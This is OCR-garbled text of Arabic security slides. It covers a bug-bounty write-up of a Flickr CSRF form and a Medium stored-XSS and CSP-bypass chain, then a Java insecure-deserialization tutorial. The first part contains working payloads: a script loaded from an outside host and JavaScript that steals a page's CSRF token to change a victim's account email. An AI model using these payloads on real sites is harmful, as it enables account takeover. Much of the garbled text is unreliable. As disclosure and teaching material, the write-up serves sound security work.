&amp ;description_14401638983=XSRF+bug+P0OC1&amp ;tags_14401638983=XSRF+POC1

&amp ; tags_14401638983=XSRF+P0OC2&amp ; Submit=SAVE
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. Jae MD5 (= 3 ke magic_cookie O) cllall (e Giaay e

Sl ) e S Jal e 4llal o jual 5 5 Al B 4 el o) Cilgla e
jmw}.aj\c\mé\w\&jxeuu\s@_&jmommjw\@wl.h
S sinall e i g

J ooty adfly Jualdilly 3 pall anlS Gl paiall Baaa ad JAaL a8 S
o)a_d\ u\ﬁ DJM\A il gy;d\)meaj g_\lLJ\‘;u\J\ L_\M\@magm cook|e

ujdladj\uﬁmagm Cook|e L-\MAJSS@LM@JL_QJL&U\SMMLAJS.
byl Gl id af Cinday G el Sy s simall gl (S o) gl

et g calhall il ) g 48 48 aS g3 g magic_cookie dad i g e SA \.@SLQ\
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L AS A 4y POC & oy S Jeay Cad el o

| C\Users\abdullah\Desktop\f XSRF.html - Notepad++

File Edt Search View Encoding Language Settings Macro Run Plugins Window
o/ - - -d

: ! : ! ) ) ) ) {| XSRF Hml L3

* @ Flickr
="https: hotos/upload/edit"” method="post"

ype="hidden" name="edit done" valus="1"
e="hidden" name="upload ids" value="14401638983"

pe="hidden" name="just paoto ids" value=""

pe="hidden" name="set id" value=""
e="hidden" : “-—”mdgzg cookie"
:="hidden" name="title 14401638983" value="XSRF bug POC1"

"hidden" nams "dt:s(:er' ion 14401638983" value="XSRF bug POC1"

ype="hidden" name="tags 14401638983" value="XSRF POC1"
="hidden" name="Submit" value="SAVE"
ype="submit" wvalue="click here to see magic"
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3aal g ddaziay Medium wlus G yi&) 0 Ol o

uh&o&jamdﬂ\u\dﬁu\uauchSJS@L\\\\LH<u‘>f\wu.myd.\a ?SA;?M‘°
19 e 28 bl O )mw\éxss Jjjtghdmue.\o\;ﬁmed|um @}aujs

}aw&}aﬂ\(w\a;\ﬁeﬁu)&ubajsuh&PM\U\QKJLsx«\mo
&FE‘MYJJMJ#\L’SS)@)JS

o 5l 5 a1 82 Adaimy lsal) (31 538) 335 () 53 550 XSS (o 8RN g gl o
GS\‘\.\.J\.Ga))L;L_s\JuAaJAUM})LAJ@\)AYL\?@_AJA\}Q}M\L_}UL;CJMM

_uYMY\uAMM@)LUp)\S\oJJLA
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Aol e

Calee 5 a8 gall & Cluea Calae 3 5LUI (s ) oSl b e () ey a1 Aglay i
- . . 4y jal 3 Ll Al daa '
1 x"&gt;&lt;scriptigt;alert(1337)&lt;/scriptigt;x - S L“éj Jj G- ‘ Al A & g ga

& 8 2 Med porati medusm.com t c w B8 )
abdullah.test1

“><script>alert(1337)</script>

xss here
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- SIS ) L A 5 dadeall Jpaall ey o

& () @ AMedium Corporation |US) | https://medium.com/@sbdulish.test] /script-alert-1337-zcnpt-dc95000ci20a x Q Search ﬁ 8 o e 3
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XSS Gaok oo 3osha STy (o gl JDain) dani o 2 oK1 lady 2l (L) i 5

Pl LiSey Token L8 e 13 Al ) sy (5% iy i) O a5 Conll 22y 0
Al Gopa o) Osn aalead) diarY Jaa¥) Huai s CSRF alhy

(g g JSlaia o

V) Jleda) ot O dash @ sida ge an) Caxada g 1) a5 2 g3ma p saa sally alad) J shall
_Aan

Uo by o 58 ) (S Y Dl a3 4885 ua s PUT o damy i) st
. losa token Q\SJJL;\;AM\GJ\A

oY) As i B A jaladl) e 58405 CSP 25 0
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o s Al Gare J shay rany sl S IS 5 XSS 3 a0 Cllad CuiS 5l Iy 2ay o
L @Y adsall mola () ale elediuly

href="https://plus.google.com/1l03E543E0130207€65924€"><1link rel="author"
href="https://medium.com/Babdullah.testl"><meta name="author"
content="abdullah.testl"><meta property="og:type" content="article'"><meta
name="twitter:card"” content="summary'"><meta property="article:publisher"”
content="https://www.facebook.com/medium"><meta property="article:author"
content="https://medium.com/fabdullah.testl"><meta

property="fb:smart_ publish:robots" content="noauto"><msta
property="article:published time" content="2Z0lE6-0&6-18T0O8:10:4Z.644Z"><meta
name="twitter: labell” wvalue="Reading time"><meta name="twitter:datal" wvalue="1
min"><script
type="application/ld+json">{"@context" :"http://schema.org" ,"@type" :"BlogPosting
","image" : [],"datePublished" :"2016-06-18T08:10:42.644Z" ,"dateModified" :"2016-06
-18T08:29:50.191Z" ,"headline" : "“><script
src=http://xxe-me.esy.es/xss.js></script><img sSrc=x
onerror=myFunction();>" ,"name" : "“><script
src=http://xxe-me.esy.es/xss.]js></script><img sSrc=x

onerror=myFunction() ;>" ,"author": {"@Gtype" : "Person" ,"name" : "abdullah.testl" ,"url
":"https://medium.com/@abdullah.testl"}}</script><meta
name="twitter:app:name: iphone’” content="Medium"><meta
name="twitter:app:id:iphone"” content="8Z8IZ5&6Z3&€"><meta
name="twitter:app:url:iphone"” content="medium://p/Ec98flels59ca><meta
property="al:ios:app_name" content="Medium"><meta
property="al:ios:app_store_id" content="8IBI56Z3&"><meta
property="al:android:package" content="com.medium.reader"><meta
property="al:android:app_name" content="Medium"><meta property="al:ios:url"
content="medium://p/Ec98flelS9ca"><meta property="al:android:url"
content="medium://p/Ec88flelS9ca"><meta property="al:web:url"
content="https://medium.com/fabdullah.testl/script-src—-goo—-gl-91li8mf-script—-img
—onerror-myfunction-src-x-6c98flelS59ca"><link rel="alternate”
href="android-app://com.medium.reader/https/medium.com/p/Ec98flelS59ca" /><meta

—_————— e 00 A Y —_— 1 maam R R (oY T Yo Yo Vo U | ORI I M Y | PRSP RPSRpEEY PP S | IR S | PO S . 1
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u.k; ).\A.ij . )S).\.ud\ C)\A UAJS ' LEM &}A)Aj e.o..n\ L_i)J.G .Jé BJ)AAM L_é.
jjuﬁ 1337 ngmudeAMJ.@_Lg \M\u&@ﬂ\uﬂuY\jja|ert(1337k
CJ\AUAJSL_i d.\w.\c_m.\CSP APENPRERTIVERE. | b) \.J\.Ajﬂ Jjj&u\dmuju .

) Baay Lgidla g 5 (5 siaall 148 5 lalina Content Security Policy d,mﬁia CSP

m@uﬁmu Y\um@fy\cspgbugut‘ﬁ:m x g ol Aa
uﬁw\ AN Cusy | ladlae) 3 PJL@L&&L)\.@_‘»U\S:UA\
AM.jGaus;Jladm uaﬂ)\.aejs.au}m)sj.mﬂ\c) UA&_\JJSAALEQML)A
e.ucdme |um@y$wéwuudmm\ J\_\.cjeajﬁjnonceu
M\Lg;\.u&uc; Juat (Sad nonce s

L OeY) Ja s Cpdiga (e il Aol 5 hack in the box _aise (8 oS3 a3 a8 &ild Uad s g
L ohdd Jan 6 cundl e AlSH Al Al 13a CilaSll ey e
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COMMON MISTAKES [1/4]

Trivial mistakes

unsafe-inline' in script-src (and no nonce)

. : Same for -src, If

script-src ne ') defau;t rc

3 there'snoscript-src

object-src SRNETAE
directive.

Bypass

">'>ecscriptralert(1337)</script>
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s

NS

bysall & Medium a8 5a 4alall CSP iS5

Go Cancel < v > Target: https://medium.com L:J 2
Request Response
_[ Raw T Params T Headers THex ] _[ Raw T Headers THex THTML TRender ]
GET A HTTP/Ll.l 200 OK [a
/Babdullah.testl/script-src-goo-gl-9l1i8mf-script-img-onerror-myfunction-src-x-éc [ Date: Sat, 18 Jun Z01l€ 08:53:40 GMT
88flel59%ca HTTP/1.1 Content-Type: text/html; charset=utf-8 t)
Host: medium.com Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT €.2; WOWE4; rv:47.0) Gecko/20100101 Content-Security-Policy: default-src 'self'; connect-src https://localhost
Firefox/47.0 https://*.instapaper.com https://*.stripe.com https://getpocket.com
Accept: text/html,application/xhtml+xml, application/xml;¢g=0.9,*/*;q=0.8 https://medium.com:443 https://*.medium.com:443 https://*.mediwm.com
Accept-Language: en-US,en;g=0.5 https://medium.com https://*.medium.com https://*.algolia.net
Accept-Encoding: gzip, deflate, br https://cdn-static—-l.medium.com https://dnggz544uhbo8.cloudfront.net 'self';
Cookie: _ cfduid=dbaS85caf594baaZ48dlee729f1ed38e481466180970; font-src data: https://*.amazonaws.com https://*.medium.com
uid=3€49c847c519; https://*.gstatic.com https://dnggz544uhbo8.cloudfront.net
Sid=1:4Kn54L0OXfa8jQpz75/ yOKoDeObpnnYhXAfVAfk1AQ3YIHE IKuJRHzpgStxKpSAQk; https://use.typekit.net https://cdn-static-l.medium.com 'self'; frame-src
_ utma=44825784.2107098701.146€180973.146€6184460. 146623€6956.5; chromenull: https: webviewprogressproxy: medium: 'self'; img-src blob: data:
_ utmz=44825784.14€6€180873.1.l.utmcsr=google|utmcen= (organic) | utmecmd=organic|utm https: 'self'; media-src https://*.cdn.vine.co
ctr=(not%Z0provided); _ utmv=44825784.|Z2=user=loggedin=1; sSz=1348; pr=1; https://dlfchxp97j4nbZ.cloudfront.net https://dZ€Zilb51lhltx0.cloudfront.net
tz=-180; xsSrf=alEsZEFOnZoWAHI7; _ utmb=44825784.365.0.14€6238775243; https://medium.global.ssl.fastly.net https://*.medium.com
__utmc=44825784; _ utmt=l https://gomiro.medium.com https://miro.medium.com https://pbs.twing.com
Connection: keep-alive 'self'; object-src 'self'; script-src 'unsafe-eval' 'unsafe-inline' about:
Cache-Control: max-age=0 https: 'self'; style-src 'unsafe-inline' data: https: 'self'; report-uri
https://csp.medium.com
X-Frame-Options: sameorigin
¥X-Content-Type-Options: nosniff
¥X-X35-Protection: 1l; mode=block
X-UA-Compatible: IE=edge, Chrome=1
X-Powered-By: Kale
X-Obwvious-Tid: 14€€240020147:8dbl4bad4béce
X-Obwvious—-Info: 22313-cé&3ddcc,e433b49S
Link: <https://medium.com/humans.txt>; rel="humans"
Cache-Control: no-cache, no-store, max—-age=0, must-revalidate
o Expires: Thu, 09 Sep 1999 09:09:09 GMT -
¥ Pracma: no-cache ¥
0 matches 2 < + = 0 matches

54,618 bytes | 5,768 millis
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unsafe- alaaiul &3 43 | ghaaW jaa¥) b header ) dsa s Baoh (e & Al
nonce ahaiul &5 OIS gl dsdiall Gudi 8 Jeall o S Wlad s )5 inline
C Jany Y Jaa Jastsal) a5 s aall (e &
JSY) aranie
7 by a st 5588 S 5 ol i) Jeay ol V) Cildazall Cizan o 220 @

" Cf o~ j I
T Y N .
! e )
‘M“-_J‘ﬁ‘_;_si;_"%\__)s.._.' ‘-_A_,WA'__,S._:L_...' _'S_n..f.‘.'-CSP s> 9
RUEL I GO [ EU R PR § A TR R e=>JA il fe JeaVl st 3 SOP 25
i el ea L coal e c bl Cu S e e g T L aa DT I TR I P L P h L I O
el o (Lo _‘..e\_,,_,_:_‘_/_..b,c,_.ﬁj,_aa_i_,___,._ Ja= il "ol ¥ Jladsdsiae JAlnE) s
é}&.‘" ,__TC,-_'-_.A: ;‘_.'A;.. t)_‘:.._\.‘" __/L' ,-_3_5..0:" r.';i- .'\Jin_f....\;. K _3_33'_.'_..
& s = ¢ = — —= < s ~ = =
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i) A0S o

SLlS Ity ) ATy S el Jamiosin () Cila slaall pan Uil () 2ny 0
Jaar¥! il CSRF alla Jand Token J) 48y asii o)) oy Vg o
LS s s g s2a) & xsrfToken awb Aadall L3 2 sa 50 Token J)
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(i) view-sourcehttps://medium.com/@abdullah.test1/script-src-goo-gl-9li8mf-script-img-onerror-myfunction-sre c Q Search ﬁ B C

egm_on_android":trueT"e;abie_post:recommgnd_ghreshold_in_stream::trae,"enabIe_;esponse_recommend_th;eshgld_in_sgre;m":trug,"Eo:
_recommend threshold":2,"google_sign_in android":true,"enable pile on activity":true,"enable onboarding":true,"enable activity
tps://cdn-images-1.medium.conm", "ios_custom miro url":"https://cdn-images-
1.medium.com", "enable friends recommends plugin":true,"enable most_recommended response":true,"no_push notification_for respon:
rue, "receive_ recommend pushes":true,"receive_response_ pushes":true,"receive highlight_ pushes":true,"enable_ ios_badge":true, "en:
gement _notification duration”:3,"enable oauth api":true,"enable ocauth token self issuance":true,"enable oauth_app creation":tn
"use_new push notification logic":true,"enable send ios pushes using channel ids":true,"enable user social count_ healing":tru¢
tat total":true,"enable responses_stream":true,"enable follow lists from dynamo":true,"track with soc1a1 1d" true, "enable rela
bundles strategy_tag_based":true,"enable hopper for tag_based post bundles".true,"enable _post_bundles strategy_author based":
ollection based":true, "show_author writes_about":true,"enable profile stream web":true,"top stories_experiment_ source": "topSto.
"add_top_stories_in new_home_ feed":true,"ranked home feed time decay grace_period in hour":168,"ranked home feed time decay ht
_time decay max units":10,"receive_ post_added to_front page_activity":true,"enable_ interest_graph provider":true, "enable post :
. "enable post_ feed from followed tags_write":true,"can_enter payment _details":"live","enable adsnative_integration":true, "enab:
able web catalog_homepage":true,"enable web_ catalog homepage ts_nav":true,"enable welcome_ onboarding email":true, "browsable_ st:
user_in interest_graph rank posts":true,"ios_small post_preview_truncation length":5.5,"ios_large post_preview_truncation_lengi
ers":true,"allow_full rss feed for publications":true,"enable onboarding after_ actions":true,"enable_seen bloom filter":true, "¢
enable rerank under the_fold":true,"enable ranked feed survey promo":true,"enable ios_textshots":true,"enable textshots _v2":tn
e, "enable dark sign_in modals":true,"enable promoted_ story_above post_ footer":true,"enable ios_personalization promo":true, "en:
ustom _domain profiles":true,"enable customize slug":true,"enable collection post_nav_item":true,"enable web bio_ lockups":true,'
ion post":true,"enable rainbow_logo":true}, ", "iosAppId":"828256236", "supportEmail”: "yvourfriends@m:
Medium","fp":{"/img/apple-touch-icon-ipad-retina.png":"https://cdn-static-l.medium.con/_/fp/img/apple-touch-icon-ipad-retina.Al
/img/apple-touch-icon-iphone-retina.png":"https://cdn-static-l.medium.com/_ /fp/img/apple-touch-icon-iphone-retina.c211N zSkSXP(
icon-ipad.png":"https://cdn-static-1l.medium.com/_/fp/img/apple-touch-icon-ipad.LSTr_ 8Uf-3hSd7eDjoW_8g.png","/img/apple-touch-i¢
1.medium.com/_/fp/img/apple-touch-icon.JWwtHOsKxVkBzoR3FS5ccjw.png", "/img/default-avatar.png”:"https://cdn-static-1l.medium.com/_
u45r44go_cflg.png","/img/default-preview-image.png":"https://cdn-static-1l.medium.com/_/fp/img/default-preview-image.IsBK38jFAUJ]
preview-image-v2.png”":"https://cdn-static-1l.medium.com/ /fp/img/default-preview-image-v2.MXL-j6S8fTEdS8UFP_foEEw.png","/img/ema:
//cdn-static-1l.medium.com/ /fp/img/email/app store_ badge@2x.8bDQGNMm-Xs7Hz6WA2XquQ.png", "/img/email/app-devices@2x.png":"https
/email/app-devices@2x.6hgpI423F625KyT8Lo6édzA.png", "/img/email/checkl.png": "https://cdn-static-1l.medium.com/ /fp/img/email/chec]
/img/email/check2.png":"https://cdn-static-1l.medium.com/_ /fp/img/email/check2.GL1NusQmnlhwoSWDN-gElw.png","/img/email/check3.p:
1l.medium.com/_ /fp/img/email/check3.7VOUVMXAVbHRRnzMrJ SA.png","/img/email/email-logo.png":"https://cdn-static-1l.medium.com/ /:
1ogo.x91rxfZ¥zIT90J5-ySD30A.png", "/img/email /email-wordmark.png": "https://cdn-static-1l.medium.com/ /fp/img/email/email-wordmar]

Ahmed Hashem El Fiky



(...al&) CSRF )5 s

MM\&S@alertﬁuﬁa\;JﬁjToken d\&&aﬁﬁ\g&@eﬁmvﬂjﬂo

4 function myFunction() {
5 var str = document.body.innerHTML;
6 var n = str.lastIndexOf('xsrfToken");
7 var result = str.substring(n + 12);
8 if(result.length > 16){ result = result.substring(@,16);
9 alert('Your token is ° result);
10 }
11 }
12
13
14
IERx srfToken": "HZuv9j
16 src="x" onerror="myFunction()"’
17
18
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oy & i (A1 o281 ol 3 SIS 1A Cjadl gale html ale &y Sl 1 e
aug Guob oo SN 8 S (pa)S AR Gam (e e agdll dew 0 5Sim 4ailiad
S o Al dadall e b aally Sl 6 g Cise ONERROR (5 IMG
Al Jsha n 43 0 120 S o3 2ay W 36l 8 Wy a5 s xsrfToken
J Jsb sy & ey dadiall 4l I (L3 Token JI Jledd) & (As) )l sdlls
¢ Jhant alinldd dayg AU Jleal g dadd (o ja 16 Jledsl 538 16 58 53l Token
L

Your token is HZuv9jqWJvnqOOpF
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asti Cosne Jash 35S0 138 | &l gall 34y il V) s S5 ey J5Y) JSaiuY)
cade alieats dadall ild 3e) 8 Jaxs

Jashll o &I 2aw 3 dasiall (3 3ol 3 astd AV 2 Sl & s gall dapuiy 2831

&lt;scriptégt;document .write(decodeURIComponent(window. location.hash));&lt;/script&gt

a9t a3 Allal) dasiall 8 paall 3 ST AUS Jany document.write s < g @
Giob oo bl b aldll encode JI (e s sl Jaanty
as>s 58 1 5 window.location.hash 3¢!_a decodeURIComponent
Cagle o3 ey | il Jhadt 8 Lyl olis 15 8DOM based XSS



-

Trdenptrdocument e, X

8  heps medum.com

Kp

(...4L&3) CSRF JI 5 %l

abdufiah.test

x""s><script>document.write(decodeURICompo
nent(window.location.hash));</script><img
src=x onerror=myFunction()>

just saying

abdullah.test1

Responses
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dadall (ila e Sl Jueaty o Y1, eapan ) Aslall (58 5 US 8 Jay
(SIS Lyl )l # aey

https:
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Token J) Jleds) atws Jayl 3l e Jgaall axy

Your token is HZuv9jgqWJvnqOOpF
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d\e\di'j.u\ca%‘ﬁ\M%d@)@eygﬂ\q)&d\weﬁdw:133\3-
M\@“%J L..g.'ﬂ\ Token

function myFunction() {

var str = document.body.innerHTML;
var n = str.lastIndexOf('xsrfToken');
var result = str.substring(n 12);

if(result.length > 16) {result = result.substring(@,16); alert('Your token is '
var xhr = new XMLHttpRequest();

xhr.open('PUT', 'https://medium.com/me/email’);
xhr.setRequestHeader('Content-Type', 'application/json’);
xhr.setRequestHeader (' X-XSRF-Token", result);
xhr.onload = function() {

if (xhr.status 200) {

alert('ok');
} 1

14 xhr.send(JSON.stringify({"email"”:"abdullah.testlfgmail.com"}));
15 }

16 onerror="myFunction();" src=x

1
p
3
4
5
6
7
8
9

L I
w N =S

Ahmed Hashem El Fiky



(...4L&3) CSRF JI 5 %l

abdullah.testl@gmail.com 3l dea¥! il PUT alla Jamy g ySiall 138 a2 g (Y o

(u\J\Lg).dcdm.\Aj\ console C“S‘“L‘\J‘&M‘ww@‘cﬁwﬂ‘@‘ﬁﬁﬁ
Ly 5l Je sl aey bl Jls |

") x"'> <script> document.wr... X
X || Q Search wB 9 6 3 A © = - & =

i) @ | https://medium.com/@abdullah.test1/script-src-goo-gl-9li8mf-script-img-onerror-myfunction-src

Your token is alESZEFON20WAHI7

Transferring data from ssl.google-analytics.com...

[~ £} Inspector 2_ Console @ Debugger  { } StyleEditor € Performance ™M E (% 00 x
W ~™™ML cSs U XHR  Fonts  Images Media  Flash  Other @ 33 requests, 2,262.17 KB, 22.42 s URL 0]
Status Method File Domain Type Transferred Cookies Params Response Timings Security
® 200 GET __utm.gif?utmwy=5.6.78&utms=1898utmn=26135.. @ ssl.google-analytics.com gif 003k # RequestURL:https://medium.com/me/email
p Request method: PUT
® 200 GET __utm.gif?utmwv=5.6.78utms=1908wutmn=27069... @ ssl.google-analytics.com gif 0.03KB Remote address: 127.0.0.1:8080 )
o 20 GET  main-common-async.bundle.0aYUUjDc7_7rK6iiQYZo... @ cdn-static-1.medium.com js cached  Statuscode: ® 200 Connection established EditandResend | Raw headers
® 200 GET post-promotion & medium.com json 0.10KB Version: HTTP/1.0
O 200 GET main-notes.bundlex32Gc4BUU_ahoFpJTHeU5A js & cdn-static-1.medium.com s cached
® GET  quotes @& medium.com json 0.82 KB Response headers (0.038 KB) S
®: b BEE  4BLS p——— o . Cache-Controk: "no-cache, no-store, max-age=0, must-revalidate"
< B - Connection: "keep-alive"
[ ] GET responsesfilter=best & medium.com json 0.15KB Content-Length: "%9"
® 200 GET responsesStream?filter=best & medium.com json 0.16 KB Content-Type: "application/json; charset=utf-8"
® 200 GET stream & medium.com json 0.11KB Date: "Sat, 18 Jun 2016 15:48:29 GMT"
® 200 GET  x @ medium.com html 422K8 Etpires T hiy 09 Sep1999/0%:00:00 GMT™
200 PUT | d Fz 0.10KB Link: "<https://medium.com/humans.bdt>; rel="huma
= IeCibn.com : . Pragma: "no-cache"
O 200 GET main-misc-screens.bundle.M4ZeCICHuqqmIRXGGOGc... @ cdn-static-1.medium.com Js cached Server: "cloudflare-nginx"
® 200 GET activity & medium.com Jjson 298 KB Strict-Transport-Security: "max-age=15552000; includeSubDomains; preload”
® 200 GET X & medium.com html 422 KB X-Frame-Options: "sameorigin”
® 200 GET x & medium.com html 422KB X-Powered-By: "Kal\e"
® 0 GET __utm.gifutmwy=5.6.78utms= & sslgoogle-analytics.com gif 003KB o o

Tl .l ) ENG ki

6/18/2016
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(...al&) CSRF )5 s

oliza g 0k 200 (e Jsanll &35 Jra¥) H2il me/email ) bl Jlu ) a3 Jaslly o
Jaa¥) s i adil | &3 08 il

Medium <noreply@medium com> 6:45 PM (13 minutes ago) - v

We got a note saying you want to change your email address for the dA.C} d)ij\ J‘M ‘)..\ﬁj\
@abdullah test1 account to abdullah test1@gmail.com ’
Confirm change *

B uw\écdmu
r verify using this link .
https://medium.com/m/account/confirm/c42776e8f77f L‘

P.S. If you did not make this request, please contact us at ) *
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12 age CSP (4 nonce Jwxiul o



DA

s 43 ) ALY | @M\ﬁwumgguﬁx\mQjﬂ CERICIRIR
T o Lt Al g Al s Al )y calls JS 1 ol

PY\)\J&JEJAFJ}\S?JQj\aeﬁc,judbuﬁumu‘jju\ﬁb&mu\u;_\jo
‘\JA\S‘\_\B\ANJ‘L\S‘P\AM‘CAJA\.MLJJJMJMJJ@JSL)‘LAJJ@JJSHJJM






el dl) Jadl

Insecure Deserialization Jd) 3 &

—al ‘gl
38l adla daal /a0
il Jgatl) g el glaall el (5 jLikind
Ahmed.Hashem.EIFiky@outlook.com
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Insecure Deserialization J) 3 &

Al Qlal (8 (iagh (e seie agdl dalany (a3 Rl o8 Jualdl & (il J8 o

Object Serialization
Object Deserialization

Object Serialization

Lg\)uhc_gl.@_ias;u\&oyu Bytes | A & (4a g cBytes ! Object d.\);.w\_\hcu_fa .
DA Gl 1) 4<0al e W el ) by sac @ (s S« (Object J\ 13 dalAd) Alad) Jass
Aol Y S i gy aal ARENARE

Object Deserialization
f «—sla (1 Lede) 8 o5 Bytes ds“‘;;m uu\_md\ ‘mM\MmSA\M\GA .

B JsSsisn die oV Ssigoll sal Gioh oo ASAN e el S 8 iy s
Object 4 59T iy ea ) Bytes ) oda Jysaid 5 o (e s HTTP



(...4kSS) Insecure Deserialization J) 3_a

- Sileall adli N 5 guall o

N

OBJECT ——« | STREAM OF BYTES . OBJECT

STREAM OF BYTES
- /

Cre ggdall u.mgujsujl_d\ JUL) A;l_aj @.\.\M\ cilall oY) @h ca)LA\ lall Al 13 o
\AIA‘\.SJ‘_;
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Object Serialization in Java

4 el Bytes ) Objects I Jisads aseball 138 G Ua ) 13 s 42 i o
;S interface Al implements dwe Lile canid ¢ Al syl

ltem. Ja

5

java.io.Serializable;

Item ' Serializable

NP WN R
~ }

id;
String name;

[y
[~ IV

Item (3 id, String name)

[
[

{

[y
N

.id = id;
.name = name;

[ErR—
s~ W

}

Ahmed Hashem El Fiky
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Al |mplement Jars a gty (63l g [tem (DS iy g2t a8 JU 2 D) 8 pelay LS o

(5 _kull) Serializable



(...4lS5) Insecure Deserialization J) 3_a

&V Object 1138 Josai a3 (ses [tem (DS (e Object sl <y Lilkaly (V)
Bytes stream

oyt Bad main A Ay Ay Serialize oS iy iy Ll Ul 2 <l b
(10 k) Item <3S (= Object

) s1 J (s sise UK FileOutputStream (s Object & et Liad 1 12 )
data.ser (s A& (Bytes 3 pa A

oa (Ll s1 I i ais writeObject Al ooy L bl 1 80 14 Shaudl e
1) dlee aaad La) Bytes o)) Object b dcalall Gl Jypmis o siive Al
(Serialization



...4L&%) Insecure Deserialization J) 3_a

Serialize. jave
java.io.x;
Serialize

-

main(String args([])

Creatin the object
Item s1 = Item( , "book");

Creating stream and writing the object
FileOutputStream fout = FileOutputStream("data.ser");
ObjectOutputStream out = ObjectOutputStream(fout);
out.writeObject(sl);
out.flush();

closin the strea

out.close();
System.out.println("Serialized data saved to data.ser");

1
P
3
4
5
6
i
8
9
0
1
P
3
4
5
6
7
8

(Exception e)

System.out.println(e);
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The Java serialized object °

¢ sin Al g data.ser —ale Wl = jaall 4 sSow (3l 3 Sl Compile Jee any
Bytes 3 & (S Item  +3S (= Object ) e

alaa@ubuntu:~/Desktop/WAPTXv2/Deserialization/Codes/Example 1S javac Serialize.java

alaa@ubuntu:~/Desktop/WAPTXv2/Deserialization/Codes/Example_1$ java Serialize
Serialized data saved to data.ser

&Y @.L-u 31aY) C)i Aais data.ser el & 9 AL &Mm file 3lal e\mp. L@ gl

alaa@ubuntu:~/Desktop/WAPTXv2/Deserialization/Codes/Example_1$ file data.ser : ny\ G"u\

data.ser: Java serialization data, version 5
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2w hexdump 3 alasiuls Hex 3 s s data.ser —k 5 Sina e iy Liad )SJ; .
aced : 4\..4.1.93\ AVE Y —alall & $ina ()

alaa@ubuntu:~/Desktop/WAPTXv2/Deserialization/Codes/Example_1$ cat data.ser | hexdump -C
00000000 moo 5 73 72 00 04 49 74 65 6d 5a 2c 80 f7 |....sr..ItemZ,..|

00000010 74 f7 b8 1d 02 00 02 49 00 02 69 64 4c 00 04 6e I..idL..n]

00000020 61 6d 65 74 00 12 4c 6a 61 76 61 2f 6¢c 61 6e 67 |amet..Ljava/lang|

00000030 2f 53 74 72 69 6e 67 3b 78 70 00 00 00 7b 74 00 |/String;xp...{t.]|

00000040 04 62 6f 6f 6b | .book |

00000045

alaa@ubuntu:~/Desktop/WAPTXv2/Deserialization/Codes/Example_1$ cat data.ser | base64
HOLLGEIXNYAARIAGVEWLYA93T3uBOCAAIIAAIPZEWABGShDWVOABIMamF2YS9sYWSnLINOcmluZzt4
CAAAAHtOAAR1D29r
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CCla slaall 538 po 2adtid JALa o
: &Y Signature ) Jaxy Java Serialized Object A o) oY1 (A s o (K5 o
Hex :aced Jiddll & e
Base64 : rO0AB Jdidill A e
be 5 yia 3 saa (SI Object A 138 (5 siaa e LY Lyl 3L (il b

¥ )Ll A seda g

Java Serialized Object I 3¢ 8 (1 Wi 8l o ghaty (il asf ald Jasl) (il e

(P 52Y1 s3a 5 «Base64 Jl ol Hex L 4iel @ (e Y & gag S Oy
SerializationDumper



(...4LS5) Insecure Deserialization J) 345
data.ser ) ile (s sine 86l 3 (o gz JAAN 5 312V o2a aladin) ea 5 A5Y) 5 ) geall @

R — . S - _
alaa@ubuntu:~/Desktop/WAPTXv2/Deserialization/Tools/SerializationDumper$ java -jar Seriali
zationDumper.jar -r ../../Codes/Example_1/data.ser

STREAM_MAGIC - 0Oxac ed
STREAM_VERSION - 0Ox00 05
Contents
TC_OBJECT - Ox73
TC_CLASSDESC - 0Ox72
className
Length - 4 - O0x00 04
Value - Item - 0x4974656d
serialversionUID - Ox5a 2c 80 f7 74 f7 b8 1d
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 2 - 0x00 02
Fields
0:
Int - I - ©x49
fieldName
Length - 2 0x00 02
value - id 0x6964

Object - L - ©x4c
fieldName
Length - 4 - 0x00 04
Value - name - 0Ox6e616d65
classNamel
TC_STRING - Ox74
newHandle 0x00 7e 00 01
Length - 18 - 0x00 12
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
classAnnotations
TC_ENDBLOCKDATA - Ox78
superClassDesc
TC_NULL - ©x70
newHandle 0x00 7e 00 02
classdata
Item
values
id

(int)123 - ©x00 00 00 7b

name
(object)
TC_STRING - Ox74
newHandle 0x00 7e 00 03
Length - 4 - O0x00 04
Value - book - 0x626f6f6b
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Serialized ) 4aleall o8 (10 Jleill 8l Jila s Serialization ) asgde (o3 il 2ey e
Deserialization ) ¢ g 4lilaall 4uSall 4ulell ) Jainil (Object

Object Deserialization in Java °
Deserialization ! s s¢ie 428 (uain 53l 5 Deserialize (SIS iy iy Ll Sl 2 &I o

ﬂcscr;;llzg.wh;ﬂ
java.io.x;
Deserialize

main(String args[])
{

NS WN =
-

Creating strea to read the object
ObjectInputStream in= ObjectInputStream( FileInputStream("data.ser"));
Item s=(Item)in.readObject();

orinting the data of the serialized object
System.out.println(s.id+" "+s.name);

closing the stream

in.close();

(Exception e)

System.out.println(e);
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s FilelnputStream ) Gash e data.ser «ile (s sina 3el )i lad 10 laudl o
ObjectinputStream

amw\md\hae.\.ue.\w) ltem 28 (= Object LJJJ:_\JL\AS 11 Lol e
object Jl 13 & readObject 4lla (1

s ll5) data.ser  ile (s 5ima 3ol o 580 readObject 4l RS T IPE
ObJeCt L"JJY‘ \.@_\J}a.a é\ \.@.C\AJ\ e.\.u.n Bytes IRV e.\ (R 9 (Bytes = oJ\_\.c
(Deserialization 4 4xlee i35 Lia)

1Ml s Insecure Deserialization ) 335 agdl 430U 48 el ellai a5 (Y1 e
£ aaT

alladl) Ca L,’J\_\j\ ¢);J\ ojsuj\ XYY d.\.sa\& a8l dm.u



(...4lS5) Insecure Deserialization J) 3_a

Insecure Deserialization °

il e DU il (3 iaal) Sy ) oS Lovie 2l (o g l) 13 Cadny : Vaa pucinh (K o
Deserialize bl Jae &3y Al

ST Jiadd e

Bytes 55 () Lelisaiy ailla Laéa o35 53 Object ) Ly clilully aads

D Ofndat Wl IS 58 JBal) Jys =8

z A Jl )b asds &3 (s Object dI e Serialization imé\ Ma{ﬂuﬁ:
Deserialization ) adee Ledde (5 a3 (e g Sl 238 Jasin 1 SGI Gadaill

I Gl i lealey U Gl ke oo Sl S Gkl b 1) AKE

Al 358 st Ugd Loy cae Dl g bl sda yal yie) d)—‘*‘d‘ OBSsL S ¢ Deserialization
Insecure Deserialization !



(...4lS5) Insecure Deserialization J) 3_a

ARGl 220 Sy 3l Japad) Gadaill s Jalasi g5 padll o2 e oy ill o
java-deserialize-webapp °
- SV Gabaill Run Jass o sk il o

:~/Desktop/eLearnSecurity/WAPTXv2/Deserialization/VulnerableApps/java-deserialize-webapp# sh target/bin/webapp

